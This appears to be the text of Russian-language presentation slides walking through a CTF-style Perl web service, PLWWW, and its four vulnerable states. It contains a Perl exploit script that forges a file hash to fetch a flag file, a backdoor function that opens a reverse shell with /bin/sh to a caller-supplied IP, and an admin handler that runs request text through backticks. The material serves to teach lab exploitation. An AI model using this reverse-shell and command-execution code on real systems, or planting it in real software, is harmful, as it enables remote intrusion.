2. PLWWW и с чем его едят
Сервис Монолит – зачатки исследовательской лаборатории.
Работа с сервисом осуществляется по средствам протокола HTTP, но
поддерживающего всего два метода работы – GET и ADMIN. Метод GET –
служит только для получения информации, метод ADMIN – для доступа к
панели управления сервисом. После запуска, сервис доступен на порту
8080.
Со стороны файловой системы – сервис представляет собой скрипт,
разработанный на языке Perl. Код скрипта не обфусцирован, но его
структура и используемые методы вводят в заблуждение при первом
рассмотрении. Это сделано. Данный метод разработки скрипта
объясняется со стороны легенды тем, что он был написан на скорую руку
программистами различных галактических рас.
3. PLWWW и с чем его едят (192.168.X.2:8080)
4 состояния
#1 – ошибка при генерации хеша
#2 – слабый пароль администратора (банально)
#3 – бэкдор (странно, откуда он появился? )
#4 – RCE (очевидная, но только
на первый взгляд)
5. PLWWW #1 (192.168.X.2:8080)
Понять принцип работы сервиса
Функция tToSystem
(Особенность данной функции состоит в том, что она заменяет все гласные латинского
алфавита присутствующие в запросе на набор других символов (согласные латинского
алфавита + спец символы))
Метод GET – функция kh8ploegjst
6. PLWWW #1 - cryptFn (192.168.X.2:8080)
kh8ploegjst -> cryptFn
sub cryptFn (&@) {
my($tXt,@enc,$len)=@_;
my $jk;
my $encK="";
for ($jk=0;$jk le $len;$jk++) {
$encK .= $enc[$jk];
}
for ($jk=0;$jk <= $len;$jk++) {
$encK .= $enc[$jk];
}
my $value=md5_hex("$tXt$encK");
return $value;
}
7. PLWWW #1- cryptFn (192.168.X.2:8080)
НА ВХОДЕ : cryptFn(“record_1”,split(//,”XXSSDDFDS”),scalar(split(//,$_)))
sub cryptFn (&@) {
my($tXt,@enc,$len)=@_;
my $jk;
my $encK="";
for ($jk=0;$jk le $len;$jk++) {
$encK .= $enc[$jk];
}
for ($jk=0;$jk <= $len;$jk++) {
$encK .= $enc[$jk];
}
my $value=md5_hex("$tXt$encK");
return $value;
}
НА ВЫХОДЕ : md5_hex(“record_1X");
8. PLWWW #1 - exploit (192.168.X.2:8080)
Функция kh8ploegjst – достаточно подставить «0» как длину имени
директории для выхода в корень.
Для получения валидного хеша файла YOURFLAG.TXT – достаточно узнать
первый символ секретного ключа.
#!/usr/bin/perl
use LWP::UserAgent;
use Digest::MD5 'md5_hex';
@crypto=(a..z);
$fileName="YOURFLAG.TXT";
$ua=LWP::UserAgent->new();
foreach $sym (@crypto) {
$sym="d";
$value=md5_hex("$fileName$sym");
print "$sym $valuen";
$br=$ua->get("http://192.168.1.2:8080/0$value");
print $br->content;
if ($br->content=~/FLAG/) {
print $br->content;
exit();
}
}
10. PLWWW #3 (192.168.X.2:8080)
Смена состояния сервиса, помимо заплаток, приносит в код небольшой
бекдор. Бекдор представляет собой необычное поведение сервиса при
обращении к нему со специально сформированным запросом – сервис
создает бекконнект на указанный в запросе IP адрес с предоставлением
командной строки.
sub pm_backton (&@) {
use IO::Socket;use Socket;use FileHandle;my($h0st)=@_;$h0st=~s/d/./gi;my $tm='/bin/sh';
my $p0rt=int(rand(20000))+10000;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($p0rt, inet_aton($h0st)));SOCKET->autoflush();open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");open(STDERR,">&SOCKET");system($tm);
}
11. PLWWW #3 (192.168.X.2:8080)
Метод ADMIN – функция kh8p1oegst
sub kh8p1oegjst (&@) {
my($query,$enc_key)=@_;
my $status="";
my $aPass="dfknmsdxz83945023489532";
open(FE,"configuration");
while (my $e=<FE>) {chomp($e);if ($e=~/PASSWORD/) {$e=~s/PASSWORD //gi;$aPass=$e;}}
close(FE);
if ($query=~/klrbxtzkljsbrklpjsfxljsspzkssndklrd/) {
my(@Fghj)=split(/klrbxtzkljsbrklpjsfxljsspzkssndklrd/,$query);
if ($aPass eq $Fghj[1]) {
$status=&aPage;
}
} elsif ($query=~/klrbxczklisbrklpjsfxljsspzkssndklrd/) {
my(@Fghj)=split(/klrbxczklisbrklpjsfxljsspzkssndklrd/,$query);
$status=`$Fghj[1]`;
}
if ($query=~/bzkckdklklr/) {$query=~s/bzkckdklklr//gi;&pm_backton($query);}
return $status;
}